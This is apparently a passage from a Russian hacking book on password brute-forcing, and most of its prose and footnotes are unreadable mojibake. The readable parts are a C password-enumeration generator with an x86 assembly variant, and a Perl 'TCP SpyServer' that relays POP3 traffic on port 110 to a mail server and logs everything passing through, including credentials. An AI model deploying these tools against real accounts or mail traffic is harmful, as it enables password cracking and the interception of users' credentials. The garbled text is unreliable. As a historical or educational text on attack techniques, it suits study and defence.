㣨 ᫮,   堭 ⮩  ᫥⥫쭮 ॡ,   ஫   ࠭.  ।饭  ⠪ ⥬ ⥭䨪樨  ࠭稢   ஫, ஢,    ࠭ 짮⥫ ஫ ᫮ ᫮,   ࠧ  ᨬ, ⠢騥 , ॣ୮ ᫥⥫쭮.  ⨢ 砥, 짮⥫   ⪨  ।᪠㥬 ஫, 祬   諥  ஭  ⥬.
  砥 <⪨>  <> ஫?  ᨬ, ᥬ ᨬ,  ᨬ, ᥬ줥  ᨬ: ஫      饭  ॡ? ண ,  , ᪮  ஫ 筮     筮 ६.   ᨬ  ᪮ ॡ   ஫ ६ ᪠   祭 訬   ॢ ਮ ⢮ ᠬ ᥫ!  ࠭稢 ࠧ㬭  ஫ ᢥ.  ६ 㠫쭮 頥  ࠭  ᭨.
 ⠪ ।  ࠢ     ண, ᪮ ᪮ ॡ ஫  ஢  ப ।,  ᨬ  ⮣,   ᮡࠥ .   ⨢  㯪, 㦥  ᨫ ⪮ Pentium- III,  㣮  - 㤠⢥ ࠬ, ᯮ騬 ⥫쭮 訬 ᫨⥫묨 魮ﬨ (  뢠⥫   ).
筮 ⠪, 諥,  騩, ᪮쪮 ६   ஫ ⮩   ,      ,  ⪨.  ⢥    ஫ ᠬ  ᥡ,   ६, 室   ॡ. ࠭祭   ஫  ᥬ ᨬ - ⮪     ࠧࠡ稪 UNIX 祬- ଠ.  ᫨⥫ 魮 ⮣ ६ ⠪  뫠  祬 筠  ॡ   ॡ 浪   . 孨᪨ ண 㬥訫  ப  ⭨  ࠧ,      த 㬥.
 ⮬ ᮢ襭⢮ ୮ 孨, ⠭ ᪮   ண.     ⢥, ᫨     ᮢ, 業  祭 - .
㣨 ᫮  筮  ⮩ ஫,    ਡ⥫쭮 業.  ⮣ ਣ , ᠭ .
६, 室  ࠭஢ 宦 ஫ ࠢ: t = V * n  V ⢮ ॡࠥ 権  ᥪ㭤,  n ⢮  ஫.  ᢮ । n   ᨬ쭮   ஫  ⢠ ᨬ,     ⠢ ஫.
 N 砥 ⢮ ᨬ, ⥭樠쭮 室  ஫, ⮣, 祢, ⮡ ࠭஢  ஫ 筮  ॡ ॡ N ਠ⮢.    ᨬ  ⠢ N*N+N 権.   ⢥ত  ᪮쪨 ᯮᮡ.
ਬ, ⠪: ᪮  ᨬ ஫  ।⠢   ,   ᠬ ஫  ࠧ  ଥ ᫠. ᫨ ᨬ ஫ ।⠢ ᮡ  ࠫ ᥫ  1  N, , ᫥⥫쭮,  ஫ ᫥ ᮢ  ᢮ ᮬ,  ⢮ ஫  ࠢ 祭 ᨬ쭮 .
 ࠫ쭮 ᫮  ।⠢   ᫥饩 㬬 ⥯: N1+N2+NL,:  L - ⢮   ᫥ (..   砥  ஫). , ᫨  ஫ ࠢ ,  ᥣ  N1+N2  ஫,   ॡ . ᫨  뢠 ⭮ ⢨ ஫,   ⮩ 㫥 ਤ  , ⠪ ࠧ,  ᫥騩 १:
???? t = V * (N0+N1+N2+NL) 



㫠 1. ६, 室  ࠭஢ 宦  ஫. t - ६, V - ᪮ ॡ, N - ⢮ ᨬ,     ஫, L  ஫



 ⮩ 㫥  ᫨ ६, 室  ᪠ ஫  襬 砥. , ⭮,  ᪮ ஫  ᠬ ᫥ ॡࠥ ਠ⮬ ࠢ ⭮ 㣠 ࠢ ⢥  ࢮ ⪨. ⮬, 筮 ᫨ ॡ㥬 ६  (   ),  ਭ   ६, 室  । 砥.    ᫥饩 㫥: t =t /2.
  㡫 (ਬ <஢  ୮ ⠪ ⥫ﬨ १ ⥬ ஫>  . .) ࠣ , -   ஫  訩 १ - ᫥⥫  堮.  ᠬ     ᢮ ⠭, ᪮  ਢ, 㤠    ᪮ ஫. ᫨ ਭ,    ࠭ 砩,  ᫥⥫쭮 ॡ ਠ⮢ 㤥 祬  㦥 (  ) 堮筮 ᪠, ᪮  ᢥ ( ,  ।)  ᪮ ஫    ⮤ ᪠  ⤠ ।⥭ । 㣨 [337].
  ᮫⭮ 砩 ஫ אַ-⠪ 㤭⥫쭮. 設⢮ ஢ 砩 ᥫ  䥪,  쬠 ⥫   १ 뤠  १  ।᪠,  業  ⭮.
᫨ ⮢୮ ⭮    ⬠  祭 室 ஫ , ᯮ짮   ᠬ   ॡ騪,   ᪮쪮 ᮪ ॡ㥬 ⢮ ⮪.   ⮬  㤭  ।饭  ஢ப   ⮣  ஫. 設⢮ ⬮ ᪠ ⭮      祭   ࢠ  ॢ饣 ਮ 樨, ⮬  뤠 ஫ ਤ - ࠭  ஢  㭨쭮.   ॡ  室, ⥫쭮 ॢ 룮 ᯮ짮 䥪⮢  砩 ᥫ (᫨ ⮫쪮 ᯮ㥬   ਢ  㬥࠭).
⮬,  設⢥ 砥 ᯮ ⮩  , 騩  ᫥⥫쭮 ॡ  ஫   㣨.   ⥩ ⬮ ॡ (稢訩  < 稪>) ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/gen.pswd.simple.c"):


 #include <stdio.h>



 main()

 {

 char pswd[10];

 int p=0;

 pswd[0]='!';

 pswd[1]=0;



 while(1)

 {

 while((++pswd[p])>'z')

 {

 pswd[p]='!';

 p++;

 if (!pswd[p])

 {

 pswd[p]=' ';

 pswd[p+1]=0;

}

}

 p=0;

 printf("%s\n", amp;pswd[0]);



}

}





 ⬠ 砥  ᫥饬:  ᫥ ᨬ ஫ 㢥稢   ,   ॢ ᨬ쭮 ⨬ 祭.  ⠪ ந,  <> - ਭ 쭮 ⨬ 祭,  ᨬ, 騩 ࠢ   ६  . ந室, ⠪ 뢠, <楯> - 筮 ⠪ ࠡ⠥ 堭᪨ 稪  ७.  ७ ᮢ蠥  ,   ᢮ 㤫 稪 ᥤ, ⠢     .  饭   뢠   ப  몥 :
 while ((++pswd[p])>MAX_VAL) pswd[p++]=MIN_VAL;p=0;
  뢠 ४,      ४ᨢ ଥ   룫拉 ⠪:


 void GetNextPasswd(char pswd, int p)

 {

 pswd[p]++;

 if (!(pswd[p]>MAX_VAL)) return;

 pswd[p]=MIN_VAL;

 Count(pswd,++p);

}




 ᫨ MIN_VAL ⫨筮  ,   ணࠬ 室   ப, 樠 祭 । 祩, ਬ,   룫拉 ⠪:


 if (!pswd[p])

 {

 pswd[p]=' ';

 pswd[p+1]=0;

}




㣮 襭 砥  ।⥫쭮 樠樨  祥 祭 MIN_VAL-1.  ⮬ ਤ <>   ஫   騩 ப  (᫨ ணࠬ ᠭ  몥 ).
 ࠡ ணࠬ  룫拉, ਬ, ⠪ ( 祭 ஫ 뢮  ࠭,  ࠪ⨪   । 楤  Crypt):


 " # $ % amp; ' () * +, -

. / 0 1 2 3 4 5 6 7 8 9

:; <=>? @ A B C D E

 F G H I J K L M N O P Q

 R S T U V W X Y Z [\]

 ^ _ ` a b c d e f g h i

 j k l m n o p q r s t u

 v w x y z!! "! #! $! %! amp;! '!

 (!)! *! +!,! -!.! /! 0! 1! 2! 3!

 4! 5! 6! 7! 8! 9!:!;! <! =!>!?!

 @! A! B! C! D! E! F! G! H! I! J! K!

 L! M! N! O! P! Q! R! S! T! U! V!:









  砥 좨  ୮ ६   뢮 ப  ࠭,   ॠ쭮  ஫, த⢨ ॡ騪  ᥣ 㤠 ७, ⮬   ९ ணࠬ  ᥬ.
筮 ⨬஢ ਠ [338] (..   ᮡ⥩ ᯮ  ࠬ ᥬ⢠ Intel 80x86)  룫拉 ⠪ ( ᪥, ਫ  ,  室  䠩 "/SRC/gen.pswd.simple.asm.c"):


 #include <stdio.h>

 #include <memory.h>



 main()

 {

 int p=0;

 char pswd[10]; //   樨 ஫

 memset( amp;pswd[0],0,10); // 樫 

 pswd[0]='!'; // 砫 ஫





 __asm{

; 㧪  ॣ EAX 㪠⥫   ஫

 LEA EAX,pswd;

; ࠭ ॣ EAX  ⥪

 PUSH EAX

 Begin:

}



 //  ⮬    ᯮ  ࠡ⪨ ஫

 //   砥 । ஫ 뢮  ࠭

 printf("%s\n", amp;pswd[0]);



 __asm{

 POP EAX; ⠭ ॣ EAX

 PUSH EAX;  ᭮ - ࠭!

 INC [EAX]; ++pswd[p]

 CMP Byte ptr [EAX],'z'; if (pswd[p]>'z') go to Check

 JBE Begin; । ஫



 // ஢ઠ  ७ ( 믮 ७)

 Check:

 MOV Byte ptr [EAX],'!'; pswd[p]='!'

 INC EAX; p++

 CMP Byte ptr [EAX],0; if (!pswd[p]) go to Ok

 JNZ Ok;   ࠩ ᨬ

 MOV Byte ptr [EAX],'!'; pswd[p]=0

 POP EAX; p=0

 PUSH EAX; ⠭ (࠭) EAX

 JMP Begin

 Ok:

 INC Byte ptr [EAX]; ++pswd[p]

 CMP byte ptr [EAX],'z'; if (pswd[p]>'z') go to Check

 JA Check

 POP EAX; p=0

 PUSH EAX; ⠭ (࠭) EAX

 JMP Begin

}



}








室 ⥪ NR.PL






 @ECHO off

 perl -x -S "%0"

 goto end

 #!perl

 #line 6

 print "TCP SpyServer Version 2.0 Copyright (c) 2000 Kris Kaspersky\n";



 #\ࢥ 诨

 use Socket;



 #⮩  㬮砭

 $local_port = 110;

 $remote_port = 110;

 $server = 'mail.aport.ru';



 #⪠  ⮥  䠩

 if (open(FH,"tcpspy"))

 {

 $local_port=<FH>;

 $local_port =~ s/\n//;

 $remote_port=<FH>;

 $remote_port =~ s/\n//;

 $server=<FH>;

 $server=~ s/\n//;

}



 print " 쭮 ࢥ \t[$local_port]:";

 $tmp=<>; $tmp=~ s/\n//;if ($tmp>0) {$local_port=$tmp;}



 print " 㤠 ࢥ \t[$remote_port]:";

 $tmp=<>; $tmp=~ s/\n//;if ($tmp>0) {$remote_port=$tmp;}



 print " ࢥ (none ) \t[$server]";

 $tmp=<>; $tmp=~s/\n//;

 if (length($tmp)) {$server=$tmp}



 #࠭塞 ⮩  䠩

 if (open(FH,">tcpspy"))

 {

 print FH "$local_port\n";

 print FH "$remote_port\n";

 print FH "$server\n";

}

 close (FH);



 # 666 - ᮡ   -ࢥ

 if ($server=~/none/) {$server=666;}



 # ᮪  쭮 ࢥ

 socket(SERVER, PF_INET, SOCK_STREAM, 6);

 setsockopt(SERVER, SOL_SOCET, SO_RESEADDR,1);

 $my_addr = sockaddr_in($local_port, INADDR_ANY);

 bind(SERVER, $my_addr);



 #蠥:

 listen(SERVER,1);

 while(1)

 {



 print " 祭:\t\t";

 #।塞  

 $client_addr=accept(CLIENT, SERVER);

 ($clint_port,$client_ip) = sockaddr_in($client_addr);

 print "+OK [IP:",inet_ntoa($client_ip),"]\n";



 $one=CLIENT;



 $connect=1;



 if ($server!=666)

 {# ப-奬  㤠 ࢥ஬

 print "  㧫 $server:\t";

 socket(RSERVER, PF_INET(), SOCK_STREAM(),6);

 connect(RSERVER, sockaddr_in($remote_port,inet_aton($server))) || die;

 print "+OK\n";

 $two=RSERVER;



}

 else

 {# -ࢥ

 print "⠭ ࢥ:\t\t+OK\n";

 $two=CLIENT;

}



 $x='foo';

 open(LOG,">tcpspy.log");

 #ࠡ⪠ ⥪饣 祭

 while($connect)

 {

 $rin='';

 vec($rin, fileno($one),1)=1;

 $timeout=5;

 $nfound=select($rout = $rin, undef, undef, $timeout);

 if (vec($rout, fileno($one),1))

 {

 #蠥 ⢥ 

 recv($one,$x,10000,0);

 if (!length($x)) {$connect=0;}

 else

 {



 if ($x=~/#HALT_OFF/) {send($two,"HANDUP",0);die;}

 print "$one$x";

 print LOG "$one$x";

 #ਬ  ࢥ

 send($two,"$x",0);

}

}

 else

 {#塞 ࢥ  ⮬

 ($one,$two) = ($two,$one);

}

}

 print "\n-ERR: ࠧࢠ\n";

 close(CLIENT);

 close(RSERVER);

 close(LOG);

}

 __END__

:end





[1]. <UNIX   ᮧ  ⮣, ⮡  -  㯮,   蠫  㬭   㬭 > Doug Gwyn

[2]   ARPANET

[3]http://www.siber.com/sib/internet/RussianNetStory.html

[4]  ᪮ ᫮ "creeper" - 祥 ⥭,  .  ᪮筮   ணࠬ ⭠   <>

[5]  ᫮ ॢ <  祭> - ன ୮ ᪮ । Sesame Street

[6] ⥢ ࢨ ⢮    . ᫨   ⠡   ⢮७ ⠪   ⠫ 祬 祭

[7]    

[8] ,  ,  ᪫祭 誮쭨  ᮢ, 室    த⥫

[9]  ⮭

[10] ᫨ ਢ஢ 짮⥫  ࠢ 䨪樨 䠩 ஫,  ᬮ  ஫  ( 㣮 짮⥫)  ᠭ樮஢   ⥬

[11] 祬,  ⠭ 室 -  設⢥ 砥 ⠪騩 ᯮ ᠬ ᢥ 梨  ⥬, ⮬ ᯥ譮 ⠪ 襩    ⮣, -   ஭ (騩  ⢠) ࢮ ॠ  ᮮ饭   

[12] ࠢ쭥 뫮  ᪠   稢.  ᮦ,  室  稢  ᥣ ⠥

[13]  <襩>   砥 ᫮

[14] 祬,    蠥 ᯮ짮   < ⥭>    ⮣ 㤮⢨

[15]  ᪮ "hack" - 㡨, ࠧ㡠; ஬; ࠧ  ᪨, 㡠;  १ ࠭,  ⠪  ⮭ ୠ ࠡ,  ᮢ襭⢠

[16] , -᪨  栫,  -ਪ᪨ 檠

[17] , ௠

[18]   ,  㡫筮 ⢥ত ⭮

[19] ,   騢     ᤥ 堪஬

[20] , 堪:

[21] ⪠, 筮,  祣  뢠  :

[22] 筠 ⨪    筨  㣮, ⮬,     ਢ

[23] ⭮,  뤥প  ⮩ ࠡ  ࠧ     㪮 < >,  ࠧ  -  1989 ,   뫮  ࢮ筨!

[24]  ᫮ ᪠,    ᢨ⥫⢮ ࠧ - ࠤ  祡  - ⥬  ⤥쭮  ࠧ

[25] ":  (堪 -) 墠祭 ᢮ ,       祬, ஬ ᢮ ணࠬ.  ⢥ ,   ⫨, ६, ஢  ⮬ ࠢ ᫨⥫쭮 設.  ⮣   ⠭ ᥤ   , ஬ 設> . 業

[26] "   ⨪ ⢮ ᠬ㢠, ண   墠⠥  ॠ쭮 . 筮  ६ ।    祬:" ਥ , ४ ॠ樮 㦡

[27]  ⮩   ᥣ ࠧ  宫, ᫥  ⮩ 

[28]  祬 । 堪஢ ࠪ᪨   砥 騭

[29]  室 ᨬ  ⮣, ⥪    襭   宦  ⮬  - 

[30]<Inside the mind of Dark Avenger> by Sarah Gordon

[31] -

[32]  堪, 祭

[33]   ᪠ ⬮ ந, ⥪  ॢ.

[34] ⥫쭮,  ᫮

[35] ᪠ ⥫ ਣ    -  ⨪,   :

[36]   cookie

[37]  类 砥 < ।०, -  㦥>

[38]  ⨢ , ᮢ蠥 窠

[39]   ⥢ ࠢ  묨 ਢ

[40] 筮,  ⮣ ਤ  ࢥ஬  뤥 , ,  ⭮,   ⠪ ।⢠  த ஢ ଠ樥

[41] ,   ࢥ, ᯥ樠쭮 ।⠢  

[42] 묨 ᫮ ७஢ ணࠬ ᯥ祭  ண   ⫨稥   (-࠭)

[43] API - Application Program Interface - 䥩 ਪ ணࠬ

[44]  室 ᯮ짮 ନ ⠣ࠬ,    맢 ⨢

[45] . ன ⮬ 

[46] http://www.fish.com/~zen/satan/satan.html

[47] 襥 , ࠢ אַ  㫨 .    ᮡ ફ᪮ . (⮭ - 訩.)

[48] 祬,  GNU ணࠬ ᯥ譮 ७ᥭ   Windows. ਬ, । EMACS.

[49]  祭, 祭 ⥫쭮

[50] " ⠪    ᮡ⢥ 쭮 ᯮ짮,  䮪  砫쭨 設 ᮢ६    -  ⮣ ६ 㦥  ⠫:" ࣥ ⮢⮢

[51] "I remember the good old days, when computers were mainframes, analysts were magicians, and programmers punched cards:" Philip Fites, Peter Johnston, Martin Kratz "Computer viruses crises"

[52] 筥, ࠪ᪨ 祭.  ᭥ 稭 ࠧ稩 ॡ   

[53] , ,   ६ ᠬ ன  .

[54]   樮 ⥬ ⢮ ⮫쪮    - 16 

[55]    ᯮ짮  IBM PC

[56] ࠧ㬥 ࠤᮢ

[57]  ࠢ  묨 ணࠬ, ᠭ묨  ᥬ.    ⮬ 砥  ⮨ ⠢﫠 ⪨  ⭨  ஢

[58] ୥, ᠬ ஥ 뢠 MAC,  MUTLICS -  ⢥ 

[59] Windows NT ন <஢  >,  Windows 95 

[60] ..  䠩  㠫쭮 , ᯮ  ᪥. ஡  ⮬       <Windows  ᨮ>

[61]   BCPL  ࠧࠡ⠭ ⨭ ᮬ

[62]    Novell, 㯨  AT amp;T 業   UNIX,    ᠬ AT amp;T

[63]  ᥣ 뫠  ⮨⢮ த⮢ Microsoft ( 类 ஭)

[64] .. 㤭

[65] 襥 , ࠢ אַ  㫨 .    ᮡ ફ᪮ . (⮭ - 訩.)

[66] <ᯫ -  ⤥쭠  - 㡨᪨  ࠡ⠫,  뫮 મ, ᮢ᪨,  宫:>

[67] 256  ⨢ , 5  ⥫

[68]   , MISS 뫠 ᯥ譮 ७ᥭ     IBM PC   ᯮ짮 㧪 㣮 ,  ᮢ⨬  MS-DOS  UNIX ९⢮  ࠭

[69] 

[70]  < ࠢ  >

[71]  

[72] ६ ਠ  ⥬ -6

[73]  VAX-730

[74]torvalds@kruuna.helsinki.fi

[75] ᪠뢠 ७ 

[76]    । 㦥 頥   㤮⢮ 㬥

[77] 祬,    ᯮ : <  ࠡ⠥>

[78]  ,  ࠧ ࠢ

[79] ,    

[80]   ⭮   ࠡ稪

[81]    MS-DOS

[82]  , 筮, ,  ਪ ਫ  㯭

[83] GNU ४ᨢ ஢뢠  GNU Not Unix.

[84]  Wipro UWIN Version 2.0 User Guide

[85]   ⠢ Windows 2000 室  telnet-ࢥ

[86]   ,   UNIX   ୮ 

[87] 뢥 ᮤন 䠩 /etc/passwd  ࠭

[88]     ਣ쭠 㬥  CYGWIN

[89]  ࠢ쭮 - ਢ몠 ࠡ   ப

[90]  - ⢮ 㬮砭

[91]  筮 ⠪,    MS-DOS, ⮫쪮     ஭

[92]  ᫮ ᪠,  MS-DOS  dir *1* 뢥  䠩,   ⮫쪮 ,     

[93] 饭  visual interface

[94] <設 ணࠬ 믮 ,    ਪ ,   ,    ⥫, ⮡  > ⨩  ਤ

[95]   

[96]  ⥬ ६

[97] ஡  ᬮ७   <孮 뢠 ⥪>

[98] -᪨ Local Echo

[99] ᫨ ࢥ  室  㭥 ( ,    設⢮ ⠫ ᯫ ᮢ,  砥 ࠧ , 祬 ⥫ ),

[100] 筥,  砩 12 ⭮ ᫮, ८ࠧ㥬   ⠡ ᨬ

[101] ண , ਢ離   ⮫쪮  ᨬ 0-9  A-z,    ᫮ ॠ  ਢ ਬ ⠫   拉

[102] <-  祭-  , - 稢 ᪠ > John Warley Press Enter.

[103] ६ ᨨ UNIX 㦥  ࠭稢  ஫ ᥬ ᨬ,  롨  ஫ ⥣᪨  ४, -  ⥫쭮 ᭨ ਯ⮩.  ᮦ, ⭮ ᭥ ॡ      㡮 ਯ⮣䨨.

[104] 室 ⬥,    UNIX shadow  㬮砭 몫祭,   ஫ ᮤঠ  饤㯭 䠩 passwd

[105] ୥,  .  ࠭祭     <孮 뢠 ⥪>

[106]  ࠧ   ᮢᥬ  ਢ㪨

[107] Thompson K. Reflections on trusting trust CACM, 1984,v.27, No 8, pp.761-764 (ॢ .. 㪮)

[108]   짮⥫ kpnc   ஫

[109] Victim - -᪨ ⢠.

[110]     ᫥ ⮣ ?!

[111] 孨᪨ ࠢ쭮   ᥪ  ,  ନ <ᥣ>  ਢ祭  ⥫, 묨  யࠬ Intel 80x86

[112] ᫨  ᮢ६ 樮 ⥬  ஢ 饭 ਪ ணࠬ  ⠬ -뢮, 뫮  , ᯮ ஫ DMA, ࠫ  堭.

[113] < ᤥ   ࠪ,  ⮫쪮  ⥫쭮>  

[114] ᫨ ⫠ -  㤠 訡,  ணࠬ஢  
ᮬ  ᥭ. . 

[115] ,    ᪮ 몠

[116] , 㦥   ६ Microsoft ਫ  ⮬.

[117]      뤥ঠ.  ᥩ  ᬮ   ५ Microsoft Visual C++,  ⠪   ⠫ ⠭⮬ -䠪.

[118] 訬 ᥫ ⥪⮢묨 ࠬ

[119]  祬   﫨? 﫨  , ⥬ 㬭 孨᪨ 饭,  ᪮ ࠡ   ਡ﫮.

[120] 浪 500$

[121] ५ 1980 

[122]      ᫥ 砩 ६ ⠫⫨ ணࠬ⮢  ᢮ 뫮.

[123] ⭮,  ண  ᭮ IBM ⠪    ᮭ ঠ  㪠 ,  ண ࠧࠡ뢠  樮 ⥬.

[124]  㬥⭮ ᯮ NDOS  Symantec - 饩 让 ୮  .

[125]   ।, ࠧ㬥 ७, 楫  죨  祣, ஬ 

[126]  ᢮  <ண  饥>

[127] PC Magazine N97-6 "  諮" 㡥 

[128]   1983

[129] GW-BASIC, ࠧࠡ⠭  ࠭,   . ଠ쭮  ন 䨪,  ᪮ ।  .

[130]  Macintosh   뭪  1984 

[131]  IBM ।   뫮

[132] 祬, Windows   ६ 뫠 ᥣ  ᪨ ७ MS-DOS

[133] PC Magazine N97-6 "  諮" 㡥 

[134]   ६ Microsoft  ⠢ ,  饥 ਭ UNIX  ᥬ ᨫ ⠫ <> 짮⥫ PC   樮 ⥬

[135] ⭮, ᪮쪮  㦭  ந⥫쭮, ⮡ 짮⥫ ⮣  ⨫?

[136]   ᮢ६  Microsoft Office

[137]   <ண  饥>

[138] <祬 Microsoft  Netscape>  ࠪ

[139] ⠪  ⥫   !

[140] ᫨   ஬ ⢠  訡, ⢮  Windows NT 4.0

[141]  Microsoft   ᢮ ᠩ ⠥ ,  ⢥ত <Windows 2000 -   । > ᥣ     . (http://www.microsoft.com/rus/migration/mythes/1.htm)

[142] 祬,  Windows 2000 , ,  ᯥ  

[143] , ᫨  ᫮ "VMS" ᤢ  㪢    ࠢ,  "WNT"

[144]     㤠 ⪫ 뫠뢠  ୥

[145] 㬥,   ⮫쪮  த Microsoft

[146]    筮 ।   ⠭  ᢮ 設 MS-DOS?

[147]      ࢥ ⠪?

[148]  <⠪  DNS ࢥ> 饭  ன ⮬ <孨 ⥢ ⠪>

[149]   <⮪ telnet  rlogin> ஡ ᠭ  । ஫.  設⢥ 砥 ᯮ  , 騩 ࠢ塞 ᨬ, ⮬    ࠢ   ᨬ.

[150]  墠 䨪    , ⠪   :  ப⥫쭠 । Ethernet,  ⮪ TCP/IP    ⮣.

[151] 祬  ᬮ? ,   - ⠩ .

[152]  Windows 2000 ⮬᪨ 室  ⥬ ⠭  㬮砭

[153] -  롮 ࢥ஬ ⮪   ⢠ ⥫       ᮢ  ᠭ.

[154]  ॢ  ᪮ <⪫>, <>, <ॡ ஫> (.)

[155] ᫨  ন ⮫쪮 PC Network Program 1.0

[156] ண ,  ⢥ত ୮  ⮬,  ⮫쪮  ⮬ 砥 ᫨ 㭪 f ꥪ⨢ ( 祭 㭪樨 ᮮ⢥ ⮫쪮  㬥). , ᪮,  㭪 猪  ꥪ⨢,  ⠪ ,  x?x1,  f(x)=f(x1).  ⭮   ७०⥫쭮       .

[157]  ᠬ  ,     LM- 㣠 NT-

[158]  ⠪  㯠 樮 ⥬ Windows 95  Windows 98 (  ᠬ Windows NT  ᮥ  㣮 NT  䨣樨  㬮砭)

[159] ப 㫥  ⬮ DES,  ஫   ᥬ ᨬ ஫

[160] 祢,  DES  ⭮  ⠪  Windows NT

[161] ᫨  樥 ࠧ㬥 ᫥ 㭪樨 DES  ࠢ 祭 १  室  - 祭

[162] ᭥:   ॡ   ᥬ ᨬ ஫  襬 砥 ॡ 1+k+k2+k3+k4+k5+k6+k7 権. ᪮,   ᥬ ᨬ ஫,  ॡ   権: 2*(1+k+k2+k3+k4+k5+k6+k7).   । ஫ 㤠   ॥,  - 2*(1+k+k2+k3+k4+k5+k6+k7) * ? - 1+k+k2+k3+k4+k5+k6+k7

[163] ⮨ ,   ᨨ UNIX ࠭稢 ஫ ᥬ ᨬ, ࠧ  ⮬   祭 㪢!

[164]  㤠  Microsoft  訡!

[165]   ࠪ 権

[166]   ᫠  쬮, ᮤঠ饥 Java-, , ᫨ ⮢   ন ⮡ࠦ HTML-ᥬ,   ॡ㥬 뫪 諥 ᬮ  ⠪㥬 ᠬ⥫쭮

[167]  Windows 2000  饭 㦥 ࠢ

[168] ࢭ  ࠭  㯠 

[169]   

[170] ஡   Q129457  

[171]   㬮砭    .

[172] ࠢ,  ⠪ 䨣樨 Windows 2000   ᪮ Windows 98,       ᯮ廊  ⠪ ⢮ ⨢ 

[173]  室  ⠪ 稥 !

[174]  祬  㭨  ⮬ ?

[175] ஬ ⭨-㣮 襪

[176]  ࠢ  Windows 95

[177]  ⨫ - ᠬ  !

[178]  童 ⮩ ᫥⥫쭮 砥 横᪨ ᤢ 祭 ।饣  ᥬ  

[179]  祬  ? ,   室  ࠬ  

[180] ஡  ⮬ ⬥   http://www.rsa.com/rsalabs/newfaq/q87.html,    쭥襣 ਠ  ᮢᥬ  易⥫쭮

[181]   , !

[182]  㫥 祭 ࠢᨫ쭮 ⢨ ஫

[183]   ࠢ 祭  祭 !

[184]   ஭ ଥ.   (⭮ !)  

[185] 㣫 ᪮  <  ᫥ >, .. [0x0,0xFF) ࠢᨫ쭮 0x0:0xFE.

[186] Kluge - ன⢮, ணࠬ   ணࠬ,  ⥮᪨   ࠡ,  祬- ࠡ.  

[187]   뢠 ⨭ࠬ,  ᪮ tiny - .

[188] USASCII -  USA ASCII, .. ᨬ 䠢 , ᪫ ᥢ䨪  稥 樮 ஢

[189] http://www.microsoft.com/security/bulletins/MS99-033faq.asp

[190]  設⢥ 砥 ꥬ    ,    ( octets). ᪮   ࠢ 쬨 ⠬,    ७ ᫥ ࠢ  ᮡ.

[191] ⠭  ਢ  ⨦ 㭨쭮 䨪, ⮬   ॠ뢠  -᢮.

[192]    , ⠪ ଠ  ᮮ⢥ ⢨⥫쭮, ஡  

[193] ࢥ ਢ⢮ ?  ਢ    ࢥ!

[194] HELO   㪢 L

[195]    ⮬,   ࠧ 뫪 ᥬ   IP ᮢ, 室  । 쭮 ,  ⠪ 室

[196]    짮⥫ 砩

[197] ⪠

[198]  ᫥饩 ᨨ  䫠 뢠.    砥 㪢쭮 ᫥饥 <ᮮ饭 祭  ஬⪥   ᫥ ﬨ>.

[199] ࠢ,  ⮣ 㦭  ࠢ 㤠 ᪠ SendMail, - 筮 ।  ᥣ譨  ⨪.

[200]  ,  ⮩  ᠬ,   ⠭ SendMail.  砥,  ᪠, Dima@mail.ru 뫠 쬮 Tany@mail.ru

[201]  < >   <   樨 UNIX>, ࠭:

[202]    ᠭ樮஢   ᠬ,    ६     - SendMail   㣮 ⠫쮭 ⠫ 饤㯭 ࢨᮬ.

[203]  POP3 ࢥ 易 ন ਧ.

[204] 筮 祭   ⮥ ࢥ  筮   ⪠    .

[205] SMTP-ᮥ ᮧ ᫥ 㪮, ᮢ蠥  HELO    ॠ   ࠭ᯮ⭮ ᮥ, ਬ, TCP, UDP, X.25  㣮. ⮬,   ࠢ      ᯮ짮 ⮪ SMTP.

[206] -,   ,   ஫  ࠥ

[207]    ⮫쪮   -  奬 ᯮ  饬 設⢥ 砥

[208] 㠫쭮  ᯮ짮 UUCP 뫪

[209]  ⮬ ४ ਡ, ਬ,  ६ 横  ᮮ饭 ⠢.

[210] - ।  ICQ  IRC

[211] , ⭮, SendMail

[212]  ⮣   易⥫쭮 ⠭ UNIX  ᢮ ᮭ , 筮 ᯮ짮  ࢥ஬, ।⠢騬 ⠪ ࢨ.

[213]   ⠪ ⨪    㦥 ᫮

[214]  । -  ᨬ   ⠢騪 ⥢ 

[215]    ᯮ 㣮 

[216]  䨣 룮 ᯮ짮  ᮢ 뫪 ᥬ.

[217] 祬,  POP3 ࢥ ᠭ  Perl, -  ணࠬ஢ 稢 襭 ந⥫쭮

[218]  ६ ᠭ  ᯥ   䨭쭠  Windows 2000, 祬,   ᢮  訡.

[219] ਬ, ᪮.

[220]  ᥪ,    ࠭ IP  ࠢ⥫ ᯮ樨.

[221] , ⠪, ᮡ⢥,  ந室 -  ࢥ  ⮪  ⢨ 짮⥫.

[222]  ࠢ,  ⮣ 室  ᮡ⢥ ࢥ.

[223] 筮,  祭 㡠 ,   ⢥ ਬ  ᮩ

[224]  ࢥ 室饩  ᮤন  e-mail ,   ࢥ 室饩   㧭   ᮮ饭 -  ⮣   ࠢ     쬮

[225] ⠩ -    ⥭ 諥

[226]  ⮬ 2

[227]  ⭮⥫ ⥩, 뫠  த⥫᪨ ⠫

[228]      ,    뫮   ஢

[229] ,  祬   <ॣࠤ  ᮢ>?

[230] 室  ᪮ 1 ஫  ᥪ㭤

[231]     ,      - ⮢   ᥣ 㢥   ࠢ 쬮

[232]  ᪮ posting - 뫪

[233]   \r\n.\r\n

[234]  ᮮ饭   ⤥  ⮩ ப

[235]  ⮬ 2

[236]  ⭮ ᪨  -஧ 墮⨪  ᫮ ᮢ -ᨭ.

[237] ୮,  ⮨   㧭 IP    ?

[238]  ,   ࢥ 뢠 饤㯥  ᪨

[239]  , ࠨ:

[240]   ⢮ ᮮ饭 ᪮筮. ᪮ ᪮ 祭 ᮮ饭 㯠 ᪮  ᮧ,   ᮮ饭  .

[241] ,   㡮 ᫮,   ࠢ ᮢ६ :

[242] 祬, ⨪   ⮬  ⮫쪮 稢,    室   ᢥ, ᪠, ⭥ ᥣ, 㦥  㤥 ᮮ⢥⢮ ⢨⥫쭮

[243] 祬,  ७樨 ⥮᪨  ᯥ 㤠  ᮮ饭.

[244]  ନ outlook express

[245] 祬  ⥢ 䨪?

[246]  ࠢ    "Sender" (᫨  )

[247]  祬  뫨  ந?

[248]  ᠭ஢,   ,  -   諮 롨:

[249] , !

[250]   㤭 ,  ⮣      뫮

[251] ᫨ 롨ࠥ ⠭ ,   㪠뢠  뫪, ਬ, http://www.rinet.ru:8080/~vit/

[252]  ਢ⢨ (  砫 ࠭) ࢥ  뤠.

[253] 饥 設⢮ HHTP-ࢥ஢  ন ᨨ HTTP  1.0

[254] ஡  ⮬ ᪠  RFC-2068

